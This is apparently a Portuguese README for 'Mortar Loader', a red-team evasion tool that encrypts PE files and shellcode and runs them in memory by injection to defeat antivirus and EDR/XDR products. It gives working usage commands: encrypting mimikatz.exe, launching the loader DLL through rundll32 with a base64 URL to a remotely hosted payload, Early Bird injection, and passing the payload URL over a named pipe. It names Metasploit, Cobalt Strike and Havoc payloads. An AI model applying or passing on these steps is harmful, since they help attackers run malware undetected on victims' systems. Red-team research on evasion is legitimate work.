0xsp-srd/mortartécnica de evasão para derrotar e desviar a detecção e prevenção de produtos de segurança (AV/EDR/XDR)
Técnica de evasão de red team para derrotar e desviar a detecção e prevenção de produtos de segurança. O Mortar Loader realiza criptografia e descriptografia de PE/Shellcode dentro dos fluxos de memória e o executa utilizando várias técnicas de injeção. O Mortar é capaz de contornar produtos antivírus modernos e soluções XDR avançadas e foi testado e confirmado para contornar os seguintes:
A nova versão (v3) foi lançada com os seguintes recursos:
Para mais descrição técnica, consulte o seguinte blogpost: https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html
O encryptor criptografa C ShellCode e binários PE e escreve a saída em um arquivo .enc. Você pode usar qualquer payload (MSF/Cobalt/Havoc, etc.) conforme preferir, desde que seja arquitetura x64 e não RAW.
root@kali>./encryptor -f mimikatz.exe -o bin.enc
root@kali>./encryptor -f shellcode.c -o bin.enc
A nova versão utiliza várias técnicas combinadas com busca remota de payload; recomenda-se consultar o seguinte blogpost para mais detalhes.
para instruções rápidas
# PE Forking
1. host your encrypted binary on remote host.
2. encode the final URL with base64.
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].
4. covert reload subroutine technique is enabled.
atualmente suporta injeção Early Bird em combinação com Named Pipes para receber variáveis para execução final.
1. inject Mortar DLL into remote process( DLL injection, Hijacking, sideloading).
2. connect into the named pipe to supply your URL
echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs
3. payload will be executed once valid value has been recieved.
o projeto foi codificado usando FPC (Free Pascal), os procedimentos de compilação são simples; basta baixar e instalar o Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads).
para o encryptor, você pode baixá-lo da seção de releases ou compilá-lo facilmente com o Lazarus IDE.
#Debian & Ubuntu
apt install fpc
apt install lazarus-ide
O desenvolvimento do Mortar ou de qualquer projeto compartilhado é resultado do meu tempo pessoal.